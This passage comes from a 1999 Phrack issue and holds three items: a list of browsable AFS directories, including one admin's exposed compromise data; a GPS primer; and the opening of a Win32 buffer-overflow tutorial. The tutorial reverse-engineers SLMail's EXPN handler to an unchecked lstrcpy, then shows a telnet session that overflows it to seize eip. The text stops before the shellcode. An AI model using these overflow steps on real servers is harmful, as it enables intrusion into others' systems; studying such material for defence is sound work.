# University of Hohenheim

uni‑hohenheim.de

# Rechenzentrum University of Kaiserslautern

rhrk.uni‑kl.de

# University of Cologne

rrz.uni‑koeln.de

# University of Stuttgart

ihf.uni‑stuttgart.de

mathematik‑cip.uni‑stuttgart.de

mathematik.uni‑stuttgart.de

rus.uni‑stuttgart.de

# IN2P3 production cell

in2p3.fr

# CASPUR Inter‑University Computing Consortium

caspur.it

# INFN Sezione di Pisa

pi.infn.it

# Real World Computer Partnership

rwcp.or.jp

# Chalmers University of Technology ‑ General users others.chalmers.se

# Royal Institute of Technology, NADA

nada.kth.se

Interesting areas

=================

Half of the challenge in network exploration is the act of finding fun items to look at. The list below is by no means complete, and barely touches the surface of what the author and others have collected over the years. Enjoy, and good luck hunting.

/afs/andrew.cmu.edu/local/src/os/

.... Left over from a time when Irix source resided there. /afs/ncat.edu/common/

.... Root directory of an Ultrix installation /afs/ir.stanford.edu/users/c/l/clinton

.... Not the daughter of the U.S. President, but a reasonable facsimile thereof which causes much excitement among readers. /afs/rose‑hulman.edu/users/manager/agnello/compromised/

.... AFS follows the 'user‑managed' philosophy of resource management, leaving it up to individual users to secure the permissions on their own files. This unfortunate admin forgot to set the permissions on data collected during a recent (08.08.1999) security compromise. The world, including the intruder, can now browse his work and see what they have found.

/afs/umbc.edu/public/cores/

.... Corefiles from fileserver crashes at the University of Maryland. No further comment. /afs/net.mit.edu/reference/multics/

.... Once in a blue moon, you come along a gem like this one. Source code, project notes, and electronic messages from the Multics project. ./udd/multics/Rochlis contains the mail, messages, and notes in case you can't find it.

Greetings

=========

Shouts and thanks go out to route and the r00t crew, ParMaster, cstone, aleph1, and the Slackworks crew.

A Global Positioning System Primer

‑‑‑‑‑‑‑[ Phrack Magazine ‑‑‑ Vol. 9 | Issue 55 ‑‑‑ 09.09.99 ‑‑‑ 14 of 19 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ A Global Positioning System Primer ]

‑‑‑‑‑‑‑‑[ e5 <e.five@usa.net> ]

‑‑‑‑[ 1] Abstract

Satellite navigation systems are now one of the most important communication tools around today. Everything from Intercontinental Ballistic Missiles to fishing ships benefit from highly accurate position, velocity, and time determination 24 hours a day from anywhere in the world. The most popular satellite navigation system, GPS, is now so highly used that one can purchase a user‑friendly GPS receiver for under $200 at Radio Shack. This article will provide an overview of satellite communications in general, and a more in‑depth look at GPS. I hope that this article will help readers understand this highly interesting system which is growing more prevalent every day.

‑‑‑‑[ 2] An Overview of Satellite Communications

Satellites have changed the telecommunications world as much, if not more, than fiber optics. There are over 1,000 satellites in orbit today, and all international telephone traffic which is not transmitted over fiber optic trunks or buried cable is handled by satellites. Nearly all international television transmissions are sent through satellites.

The first satellite which ever reached orbit was Sputnik 1, launched by the Soviet Union on October 4, 1957. The first attempt at satellite communication was the United State government's project Score, which launched a satellite on December 18, 1958.

The first international satellite communication system originated when 11 countries agreed to form Intelsat in August 1964. Intelsat is responsible for the maintenance, design, and development of this international system. By the late 1980s the Intelsat system included over 400 Earth stations, and provided well over 25,000 two‑way telephone circuits between some 150 countries.

In all satellite communication, signals are transmitted from an Earth station to the satellite, where they are amplified and rebroadcasted to another station, or forwarded to another satellite which broadcasts the signal to a station further away. Every satellite contains one or more transponders. Each transponder includes a receiver, tuned to a frequency, or range of frequencies, lying in the uplink (receive) region, and a transmitter tuned to a downlink (transmit) frequency or range of frequencies. The number of transponders, or channels, on a satellite determine its communication capacity.

When a satellite is launched, it may go into orbit at any height above the earth. There are generally 3 different classifications for satellite orbit heights, described below.

GEOS (Geosynchronous Earth Orbiting Satellite) ‑ This type of orbit, also referred to as geostationary orbit, is when a satellite is launched to an altitude of precisely 22,300 miles above the Earth. At this altitude, the satellite orbits the Earth every 24 hours. Thus, to an observer stationed on the Earth, the satellite appears to be stationary. This is a tremendous advantage, as it allows complete 24 hour communication within its huge footprint (covering approximately 1/4 of the Earth). However, geosyncronous satellites are not ideal for voice circuit transmission. Due to their height above the it takes radio signals approximately .25 seconds to be transmitted to the satellite and reflected back down to Earth, depending on whether the signal is passed among satellites before it is transmitted back down to Earth. This delay is quite noticeable, and you may notice it when talking on international calls.

MEOS (Medium Earth Orbiting Satellite) ‑ This type of orbit is within 6,000 12,000 miles above Earth. Approximately a dozen medium Earth orbiting satellites are necessary to provide continuous global coverage 24 hours a day. Several MEOS systems are now in development, most notably Bill Gates and Craig McCaw's Teledesic project, which will ultimately attempt to provide Internet access to all corners of the globe (all under Microsoft software, of course :) ).

LEOS (Low Earth Orbiting Satellite) ‑ This type of orbit is generally within the 500 ‑ 5,000 mile altitude range. Although the satellite footprint is greatly reduced, global coverage can be accomplished through a network of satellites, in which if an uplink is required to be transmitted to a location outside of the footprint, the transmission is passed from satellite to satellite until it reaches the satellite which has the location within its footprint. As there is no noticeable delay for signal transmission, low Earth orbiting satellites are becoming the preferable method of voice transmission, with numerous companies currently attempting to establish LEO satellite networks, most notably Motorola's Iridium project (see www.iridium.com)

‑‑‑‑[ 3] The Global Positioning System

‑‑[ 3.0] Overview

The Global Positioning System was originally designed for, and is still used by the U.S. military. GPS is funded, controlled, and maintained by the United States Department of Defense (DOD), although there are thousands of civilian users of GPS worldwide. The GPS project was first initiated by the DOD in 1973, and the first experimental GPS satellite was launched in February 1978. The GPS system achieved full operational capability (FOC) on July 17, 1995. The original scope of the GPS for military operation has been far outgrown by civilian operations, and is provided free of charge or restrictions (actually, it's paid for by our tax dollars). The system provides continuous, highly accurate positioning anywhere on the planet (where the radio signals are not impeded), 24 hours a day. The system is composed of 3 segments, described in the following sections: space, control, and user.

‑‑[ 3.1] Accuracy

GPS currently provides two levels of point positioning accuracy, the Precise Positioning Service (PPS) and the Standard Positioning Service (SPS). Civilian users worldwide use the SPS without charge or restrictions, and most commercial receivers are capable of receiving and using the SPS signal. Authorized military users, however, in possession of cryptographic equipment and specially equipped PPS receivers (military GPS receivers) may make use of the PPS. SPS use is intentionally degraded by the DOD, by the use of Selective Availability. The following table lists PPS and SPS approximate accuracy levels. However, highly accurate commercial service is possible by using a number of corrective methods.

PPS SPS

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Horizontal Accuracy | 17.8 meters | 100 meters |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Vertical Accuracy | 27.7 meters | 156 meters |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Time Accuracy | 100 nanoseconds | 167 nanoseconds |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ 3.2] The Space Segment

The Space Segment consists of the actual constellation of GPS satellites. The GPS Operational Constellation is 24 satellites, orbiting at roughly 12,000 miles above the Earth, and circling the Earth once every 12 hours. The GPS constellation is placed so that from 5 to 8 satellites are always visible from everywhere on Earth. The 24 satellites are placed in 6 orbital planes, and inclined at approximately 55 degrees to the equatorial plane. GPS operation requires a clear line of sight, and the signals cannot penetrate soil, water, or walls very well, so satellite visibility can be affected by those factors.

‑‑[ 3.3] The Control Segment

The Control Segment of the GPS system is essentially the tracking and maintenance section. The Control Segment consists of a large system of tracking stations located around the world, of which 3 have uplink capability with GPS satellites. All GPS data collected from these stations is sent to the Master Control Center (MCS), located at Schriever Air Force Base in Colorado, for analysis. The MCS then calculates the satellite's exact orbital parameters (ephemeris), as well as clock corrections, and uploads them to GPS satellites over an unknown frequency, at least once a day. Each satellite is equipped with precise atomic clocks, allowing them all to maintain synchronous GPS time until the next update.

‑‑[ 3.4] The User Segment

The GPS User Segment is the wide collection of GPS receivers, and the entire GPS user community (both civilian and military). A GPS receiver converts input signals from the satellites into position, velocity, and time estimates. The primary function of GPS, however, is navigation in three dimensions. In effect, a GPS position calculation can be reduced to a simple trigonometry problem, that of distance intersection. If one knows the distance from an unknown point to three known points, it is possible to calculate the x, y, and z coordinates of the unknown point. The GPS problem is complicated slightly more by the fact that the radio signal travel time is unknown. However, this simply means taking measurements from at least four satellites. Usually multiple satellite signals are used, if possible, as redundant measurements will add considerable strength to the solution.

‑‑[ 3.5] Satellite Transmissions

GPS satellites transmit two microwave carrier signals, the L1 frequency at 1575.42 MHz, and the L2 frequency at 1227.60 MHz, although for SPS uses only the L1 frequency is used. The L1 frequency carries the navigation message and SPS code signals, and the L2 frequency is used to measure ionospheric delay by PPS equipped receivers. Also UHF signals are used for intra‑satellite links.

‑‑[ 3.6] GPS Packet Format

The navigation message is a continuous 50 BPS date stream modulated onto the carrier signal of every satellite. The data is transmitted in frames of 1500 bits each, and thus each frame takes 30 seconds to transmit. Each frame is divided into subframes of 300 bits each. Each subframe is divided into 10 words of 30 bits each, of which 6 bits in each is for parity, and the rest is for data content. Words one and two of every subframe have the same format, as shown in the picture. The first word, called the telemetry word, is composed of an 8‑bit preamble used by the GPS receiver to correctly decode the data, 16 bits of data, and a final 6 bits for parity. Word two, known as the handover word, contains 17 bits indicating the time of week according to the satellite's clock when the end of the subframe will be transmitted, known as the Z‑count.

1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 8‑bit preamble| Data Content | Parity |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Telemetry Word

1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

| 17‑bit Time of Week Message | Data | Parity |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

Handover Word

Subframes 1, 2, and 3 contain the high accuracy ephemeris and clock offset data, and the data in these frames can remain constant for hours at times. Subframes 4 and 5 contain the almanac data and some related configuration data. An entire set of twenty five frames (125 subframes) makes up the complete Navigation Message which is sent over a 12.5 minute period.

.____.____._________________

Subframe 1 | TW | HOW| Clock Offset Data |

`‑‑‑‑'‑‑‑‑'‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.____.____._________________

Subframe 2 | TW | HOW| Orbital Data Set I |

`‑‑‑‑'‑‑‑‑'‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.____.____._________________

Subframe 3 | TW | HOW| Orbital Data Set II |

`‑‑‑‑'‑‑‑‑'‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.____.____._________________

Subframe 4 | TW | HOW| Other Data (configuration data, etc.) |

`‑‑‑‑'‑‑‑‑'‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.____.____._________________

Subframe 5 | TW | HOW| Almanac Data |

`‑‑‑‑'‑‑‑‑'‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

4 Glossary

‑‑‑‑‑‑‑‑‑‑

Note that many of these acronyms are not used in this article, but are included to allow the reader to understand other technical GPS documents.

DPGS ‑ Differential GPS

Ephemeris ‑ Precise orbital parameters

GDOP ‑ Geometric Dilution of Precision

GLONASS ‑ The Russian Equivalent of GPS

GPS ‑ Global Navigation System

MCS ‑ Master Control Station

PPS ‑ Precise Positioning Service

PRN ‑ Pseudo Random Noise

RMS ‑ Root Mean Square

SEP ‑ Spherical Error Probable

SPS ‑ Standard Positioning Service

SV ‑ Space Vehicle

UTC ‑ Universal Coordinated Time

‑‑‑‑[ 5] Conclusion

I apologize for the extreme brevity of this article, but there is somewhat of a lack of information regarding technical aspects of the GPS system. Don't worry, though, I will be submitting some cool telco stuff to phrack later :). Until, next time, visit the following websites for more information on telecommunications in general:

http://www.internettrash.com/users/e5/ [My page]

No Satellite Info yet]

http://www.internettrash.com/users/bft/ [BFT]

Win32 Buffer Overflows...

‑‑‑‑‑‑‑[ Phrack Magazine ‑‑‑ Vol. 9 | Issue 55 ‑‑‑ 09.09.99 ‑‑‑ 15 of 19 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Win32 Buffer Overflows (Location, Exploitation and Prevention)

‑‑‑‑‑‑‑‑[ dark spyrit AKA Barnaby Jack <dspyrit@beavuh.org> ]

‑‑‑‑[ Abstract

"If you assume that there's no hope, you guarantee there will be no hope. If you assume that there is an instinct for freedom, there are opportunities to change things."

‑Noam Chomsky

The Internet ‑ the last great stronghold of freedom of thought, ideas and expression ‑ and with each passing moment the bleak outcome of a corporate and government controlled entity increases in probability.

The battle lines have been drawn, and for the moment, we have the upper hand, but only by a margin.

Software companies with no alternative but to resort to the censorship of knowledge have made their presence felt, sites relating to the 'black art' of software reversing and the like are being removed on a continual basis.

Hopefully, the few unrestrained who walk the back alleys will continue to publish information ‑ and create avenues for others to expand, spread and develop ‑ this is where the battle will be won.

Assembly language is a weapon chosen only by few, but those who possess the skill to harness its power can and will defeat any of the newer tools of modern combat.

I wish you the best of luck finding information, though. With power, comes a price ‑ Assembler isn't the easiest language to learn, and as such you may have trouble finding documentation among the hordes of Visual this, Visual that, Visual Bloat for Dummies.. but continue your search, you'll be glad you did.

When profit gain is the primary momentum, speed, control, size and performance of your software is sacrificed for ease of use and 'prompt development'. The need to know what goes on internally is a rare necessity and optimization is of little importance. Those that remain untainted by the prospect of monetary rewards, and first and foremost are driven by the sheer desire to better educate ones self, are those that will always be on the pinnacle and are those that are feared most of all.

With Windows NT now a major player, and the open source movement not looking to have any impact in the near future, the ability to 'look under the hood' is an incredibly valuable asset and will be the focus of the first section in this paper.

It is of no great surprise that attempts to outlaw reverse engineering are currently in the works, but the effects of such a proposal would be disastrous.

Despite the fact that it is an open invitation for vendors to use sub‑standard coding practice, there are those in the security industry who rely on these techniques to find and document vulnerabilities. The online world would suffer as a result.

Do not concede.

Introduction.

~~~~~~~~~~~~~

This paper will be separated into 3 sections.

The first will cover a standard reversing session, and we'll point out a common vulnerability.

The second will demonstrate the process of exploiting the weakness ‑ the problem with most win32 remote overflow exploits stems from the payload, the current trend is to have the shellcode download an external file and execute.

Far too many problems result from this technique, depending on router/firewall configurations etc.

The payload I present to you will directly spawn a full‑blown shell on any port you specify, eliminating 90% of most reported problems. This is the first of its kind as far as I am aware.

The last section will show how to add your own code to the executables of your target to prevent exploitation.

The example I will be using for this document is the latest version of Seattle Labs mail server (3.2.3113). There are numerous buffer overflows riddled throughout this software, we'll be concentrating on a port opened by the POP service, which provides the Extended Turn functions.

Seattle Labs were contacted about this in a previous version but did not bother to remedy the situation, instead they just changed the default port from 27 to 8376.

Bad move.

The vulnerabilities were made public by the way, so please, Russ, don't send me nasty emails.

Before we begin I will assume you have a general knowledge of Assembler, Windows programming, a basic understanding of the Portable Executable structure and you know the fundamentals of buffer overflows ‑ I won't be re‑hashing the basics in this paper.

Tools Required:

Interactive Disassembler from http://www.datarescue.com ‑ hands down the BEST

disassembler for the PC.

A decent debugger, e.g.: SoftIce.

PE Dump from Matt Peitrek, or dumpbin will suffice.

A hex editor, any will do.. PS Edit does nicely.

A Win32 API reference.

If you want to assemble the tools/exploits that accompany this paper then you'll also need TASM 5.0.

The binaries will be available at http://www.beavuh.org as well as the

latest goodies that we feel the need to release.

Section 1: Under the Hood.

~~~~~~~~~~~~~~~~~~~~~~~~~~

Interactive Disassembler Pro is without a doubt, THE tool for reversing code. Disassembly begins from the entry point of the program, and follows all routes of execution, then continues to locate functions outside of the main flow of the program. You have full control over what is marked as data or code. IDA recognizes a huge amount of library functions, which provides a much better understanding of the target. It will disassemble an unbelievable amount of file formats, from a wide range of processors. You're given the ability to have repeatable comments, labels, modify any piece of code, function, "interactively". IDA also includes it's own macro language, to automate your chores.

If I were to cover everything this tool can do I would be here all day, and I'd still be missing something.

With the combined effort of IDA and Soft Ice, there are no barriers.

This section will be rather short, the only reason being that IDA cuts through SLMail's code like a machete.

Load up slmail.exe into IDA and we'll get underway...

First we need to think about our target for a minute, we're going to try and exploit one of the SMTP commands so it is almost certain they will be accessed and compared from a table.. Let's do a search:

Hit <alt+b> "search for text in core" and enter "EXPN", we'll land smack in the middle of these ASCII strings.

004439C0 aSize db 'SIZE',0

004439C5 align 4

004439C8 aXtrn db 'XTRN',0

004439CD align 4

004439D0 aEtrn db 'ETRN',0

004439D5 align 4

004439D8 aQuit db 'QUIT',0 ; DATA XREF: sub_403970+280o

004439D8 data:00448A60o

004439DD align 4

004439E0 aHelp_0 db 'HELP',0

004439E5 align 4

004439E8 aTurn db 'TURN',0 ; DATA XREF: sub_403970+F0o 004439ED align 4

004439F0 aExpn db 'EXPN',0

...<snip>

Now we need to find the table that references the commands, so we'll do another search.. this time entering the dword offset to the left of EXPN (004439f0).

And we land in the middle of this mess:

004436F8 dword_4436F8 dd 443A98h ; DATA XREF: sub_404390+24r

004436F8 sub_404390+34o

004436FC db 3 ;

004436FD db 0 ;

004436FE db 0 ;

004436FF db 0 ;

00443700 db 94h ; "

00443701 db 3Ah ; :

00443702 db 44h ; D

00443703 db 0 ;

00443704 db 0Ah ;

00443705 db 0 ;

00443706 db 0 ;

00443707 db 0 ;

00443708 db 90h ;

00443709 db 3Ah ; :

0044370A db 44h ; D

0044370B db 0 ;

0044370C db 1 ;

0044370D db 0 ;

0044370E db 0 ;

0044370F db 0 ;

...<snip>

004437E8 db 0F0h ;

004437E9 db 39h ; 9

004437EA db 44h ; D

004437EB db 0 ;

004437EC db 19h ;

004437ED db 0 ;

004437EE db 0 ;

004437EF db 0 ;

There's no point showing the complete table here, now.. take a look at its structure.

<pointer to string> <dword> <pointer to string> <dword> etc

My best guess here is that the dword value following each pointer will be the value assigned after a successful comparison. Let's check our theory. Also we should note down our value after the pointer to "EXPN" : 004439f0h, 00000019h.

0x19, we'll keep that in mind.

Scroll up and at the top of the table you see:

004436F8 dword_4436F8 dd 443A98h ; DATA XREF: sub_404390+24r

004436F8 sub_404390+34o

You can see to the right where the table is referenced, so click on the subroutine and we'll land straight into the call.

004043B4 loc_4043B4: ; CODE XREF: sub_404390+11j

004043B4 mov ecx, dword_4436F8

004043BA test ecx, ecx

004043BC jz short loc_4043F3

004043BE mov ebp, ds:lstrlenA

004043C4 mov esi, offset dword_4436F8

Our table loaded at esi, ebp contains the address of lstrlenA.

004043C9

004043C9 loc_4043C9: ; CODE XREF: sub_404390+61j

004043C9 test eax, eax

004043CB jnz short loc_4043F3

004043CD mov eax, [esi]

004043CF push eax

004043D0 call ebp

Here we go, the string first moved to eax and then a string length function called.

004043D2 mov ecx, [esi]

004043D4 push eax

004043D5 push ecx

004043D6 push ebx

004043D7 call j_lstrncmpi

004043DC neg eax

004043DE sbb eax, eax

004043E0 inc eax

004043E1 jz short loc_4043E9

Now we know that the parameters for lstrncmpi are as follows:

strncmpi(first_string, second_string, number_of_chars);

The first parameter pushed on the stack is the return from the string length function, ecx is then pushed which points to the string, and finally ebx. So we can determine from this that ebx contains the input from the user. I can see that some of you may be a little puzzled here, yes ‑ parameters are pushed on to the stack in reverse order.

004043E3 xor edi, edi

004043E5 mov di, [esi+4]

Ah, just as we suspected.. if there is a successful comparison then di is loaded with the value that followed our pointer.

004043E9

004043E9 loc_4043E9: ; CODE XREF: sub_404390+51j

004043E9 mov ecx, [esi+8]

004043EC add esi, 8

004043EF test ecx, ecx

004043F1 jnz short loc_4043C9

loop :)

004043F3

004043F3 loc_4043F3: ; CODE XREF: sub_404390+18j

004043F3 sub_404390+2Cj ...

004043F3 mov eax, edi

004043F5 pop edi

004043F6 pop esi

004043F7 pop ebp

004043F8 pop ebx

004043F9 retn

004043F9 sub_404390 endp ; sp = ‑10h

004043F9

And finally eax holds our value, and we return from the call. Let's continue.

00405EC7 mov edx, [esp+2Ch+arg_8]

00405ECB mov ebx, eax

00405ECD mov eax, [esp+2Ch+arg_4]

00405ED1 push edx

00405ED2 push eax

00405ED3 push esi

00405ED4 lea ecx, [esp+3Ch]

00405ED8 push edi

00405ED9 push ecx

00405EDA push ebx

00405EDB call sub_404850

Now, the important things to take note of here is edx gets our inputted string, and ebx is given our value from the table (0x19). Remember the order in which our registers were pushed, so we will be able to tell what is being referenced from the stack ‑ and in the next call we will rename the stack variables to make it easier on ourselves.

Note: I'm not taking advantage of some of the GREAT features IDA possesses ‑ repeatable comments, labels and much more. A necessity while on a real reversing journey.

00404850 sub_404850 proc near ; CODE XREF: sub_405330+73p

00404850 sub_405560+73p ...

00404850

00404850 var_270 = byte ptr ‑270h

00404850 var_26C = dword ptr ‑26Ch

00404850 var_268 = byte ptr ‑268h

00404850 var_264 = byte ptr ‑264h

00404850 var_23C = byte ptr ‑23Ch

00404850 var_230 = byte ptr ‑230h

00404850 var_168 = byte ptr ‑168h

00404850 var_110 = byte ptr ‑110h

00404850 var_105 = byte ptr ‑105h

00404850 var_104 = byte ptr ‑104h

00404850 var_10 = dword ptr ‑10h

00404850 var_4 = dword ptr ‑4

00404850 our_val = dword ptr 4

00404850 arg_4 = dword ptr 8

00404850 arg_8 = dword ptr 0Ch

00404850 arg_C = dword ptr 10h

00404850 arg_10 = dword ptr 14h

00404850 our_input = dword ptr 18h

00404850

00404850 mov ecx, [esp+our_val]

00404854 sub esp, 26Ch

0040485A xor eax, eax

0040485C cmp ecx, 8

0040485F push ebx

00404860 push ebp

00404861 push esi

00404862 push edi

00404863 jnz loc_4048E9

We rename the useful stack arguments to something easier to remember, arg_0 = our_val, and arg_14 = our_input ‑ if you're lost go back and take another look at the order the registers were pushed.

ecx is loaded with our 0x19 value. It is then compared to 8, which is not us, so we'll follow the jump.

004048E9

004048E9 loc_4048E9: ; CODE XREF: sub_404850+13j

004048E9 cmp ecx, 17h

004048EC jnz short loc_40495A

004048EE mov ecx, [esp+27Ch+arg_10]

004048F5 mov esi, [esp+27Ch+arg_C]

004048FC mov eax, [ecx]

004048FE cmp eax, 8

00404901 jnz short loc_404914

00404903 mov ecx, [esi+100h]

00404909 test ecx, ecx

0040490B jz short loc_404914

0040490D mov ebx, 1

00404912 jmp short loc_404916

A comparison to 17h, again.. not us, so we continue to follow the jumps until we reach...

00404B7F loc_404B7F: ; CODE XREF: sub_404850+1C0j

00404B7F cmp ecx, 19h

00404B82 jnz loc_404D7F

00404B88 mov eax, dword_457354

00404B8D test eax, eax

00404B8F jz loc_404D4F

00404B95 mov eax, dword_457384

00404B9A mov edi, [esp+27Ch+our_input] 00404BA1 push 0

00404BA3 push eax

00404BA4 push edi

00404BA5 call sub_4365A0

And here's our boy, note how our variables we renamed follow all through the call, IDA rocks doesn't it? :)

So edi gets our string input, and we follow yet another call ‑ again we'll rename the useful stack variable upon entering the next call. i.e.: edi = arg_0 = our_input

004365A0 sub_4365A0 proc near ; CODE XREF: sub_4029D0+92p

004365A0 sub_4029D0+107p ...

004365A0

004365A0 var_12C = byte ptr ‑12Ch

004365A0 var_12B = byte ptr ‑12Bh

004365A0 our_input = dword ptr 4

004365A0 arg_4 = dword ptr 8

004365A0 arg_8 = dword ptr 0Ch

004365A0

004365A0 mov eax, [esp+arg_8]

004365A4 mov ecx, [esp+arg_4]

004365A8 sub esp, 12Ch

004365AE lea edx, [esp+12Ch+var_12C]

004365B2 push 0

004365B4 push eax

004365B5 mov eax, [esp+134h+our_input] 004365BC push ecx

004365BD push 12Ch

004365C2 push edx

004365C3 push eax

004365C4 call sub_4364A0

And yet another call, again take notice of the order in which the registers were pushed, eax=arg_0=our_input. I have a feeling we are getting closer to the goods.

Ok, I admit it. I peeked.

004364A0 sub_4364A0 proc near ; CODE XREF: sub_436470+1Bp

004364A0 sub_4365A0+24p ...

004364A0

004364A0 var_98 = byte ptr ‑98h

004364A0 var_8C = byte ptr ‑8Ch

004364A0 var_78 = byte ptr ‑78h

004364A0 var_6C = byte ptr ‑6Ch

004364A0 var_35 = byte ptr ‑35h

004364A0 var_15 = byte ptr ‑15h

004364A0 var_8 = dword ptr ‑8

004364A0 var_4 = dword ptr ‑4

004364A0 our_input = dword ptr 4

004364A0 arg_4 = dword ptr 8

004364A0

004364A0 mov eax, [esp+our_input]

004364A4 sub esp, 64h

004364A7 push ebx

004364A8 push ebp

004364A9 push esi

004364AA mov esi, [esp+70h+arg_4]

004364AE push edi

004364AF push eax

004364B0 push esi

004364B1 call ds:lstrcpyA

004364B7 push 40h

004364B9 push esi

004364BA call j_lstrchr

004364BF test eax, eax

004364C1 jz short loc_4364C6

004364C3 mov byte ptr [eax], 0

And here we have it, the classic screw‑up. esi points to the buffer, eax has our string ‑ *bang* strcpy.

Did anyone out there notice any form of bounds checking up to this point? I sure didn't.

Please guys, do not try to hide from us ‑ we CAN see what you do.

Now we know EXPN is our sure‑fire victim. Feel free to follow some of the other commands, you will run into similar coding practice, Seattle Labs have a lot to clean up.

From a relatively quick reversing session, we find a common mistake ‑ yet a mistake that compromises the entire server.

Now, obviously, a lot of sessions won't be as straight forward ‑ wait for a rainy day, have an extra packet of cigarettes on hand, a bottle of vodka, crank some 30footFALL and get hacking ‑ patience is a virtue, take your time and navigate the code, you'll be amazed at what you find.

And hey, even if you come up empty, by the time you've downed that bottle you won't care anyway.

With enough patience and determination, you will find a barrage of different holes and vulnerabilities through disassembly techniques. It is an asset worth having.

Section 2: The Exploit.

~~~~~~~~~~~~~~~~~~~~~~~

Although this section will cover some tricks, techniques and the process of exploiting overflows in Windows, the main purpose of this section is to document what I consider the most ideal shellcode available for Win32 exploits at this time.

The last thing I want to do is go over already covered ground ‑ none the less, I will document the route I took personally before creating the payload. To those of you who have done this sort of thing before, feel free to skip straight to the shellcode.

Before we begin, I just have something to say quickly regarding some members of the security community.

When I released the IIS exploit (the definition of proof of concept :)), some of the mail was rather unsettling.

Mail from employees of large corporations and yes, government agencies, bearing titles such as 'Head of Network Security' and similar who were using the exploit to determine the risk to their servers. If the exploit failed, some were prepared to class the risk as minimal.

Do not determine the threat to your servers solely on the results of one public exploit ‑ the vulnerability exists, fix it. If you think that was the only demonstration code floating around you need your head examined.

Hopefully now, you may change your attitude. The masses now have full control, without fail.

Here we go.

My experience with NT is rather limited, in fact, I've only recently made the move from spelunking Windows 9x.

Unfortunately what I've noticed under NT is SoftIce has a bit of trouble trapping faults, and other debuggers tend to break in after the exception handling has kicked in.

This sucks for a couple of reasons.

If an exception is raised after a string length routine tries to read from invalid memory for example, under NT its quite likely that it'll be the exception handler itself that overwrites eip with your data (IIS comes to mind again).

We can route our eip to an offset at that point if we wish, but it isn't particularly delicate, we'd be much better off to try and throw in some valid addresses and let the code ret to an eip with our data.

What I suggest is setting a breakpoint on the exception dispatcher and dumping the eip it was called from..

e.g.: bpx KiUserExceptionDispatcher DO "dd *esp+0c"

Now if eip hasn't been overwritten you can break at that offset and see what you have to play with, if eip has been taken then the offset at that location should be your bytes.

In that case you can either try and trace back into the blown stack and find a location to break on relatively close to where we ret to our eip, or just take an educated guess.

The latter is the path we'll take.

Let's break this thing.

attica:~> telnet 192.168.10.3 8376

Trying 192.168.10.3...

Connected to 192.168.10.3.

Escape character is '^]'.

220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here expn xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Our debugger breaks in, obviously in this case eip has been totally taken, look at where the handler was called ‑ 0x78787878, i.e.: xxxx.

Ok, now we want to find the exact point in the code where we return to our address ‑ let's take a look at the disassembly.

004364AF push eax

004364B0 push esi

004364B1 call ds:lstrcpyA

Let's set a breakpoint just above the call to lstrcpy, that way we can also have a closer look at the buffer manipulation and we should be mere footsteps away from total system control.

Ok, send the data and let your debugger kick in, ret out of the call and you'll quickly reach..

oreax, ‑01

addesp, 0000012c

ret

That's where we wanna be, that ret will drop us to our eip. We have control.

Now, to go somewhere useful.

Let's examine the registers and see what we have to play with, esp is totaled and points somewhere around the middle of our buffer. So we could jump the stack, but why bother? Take a look at some of those other registers ‑ edi has our buffer directly after the "expn". We couldn't have asked for anything better. Although there are a fair few different ways to jump the stack, we'll almost always find a "call edi" or similar.

Let's think about this for a moment, in a perfect world we'd just reference an offset in slmail.exe ‑ but this is the world of Windows.

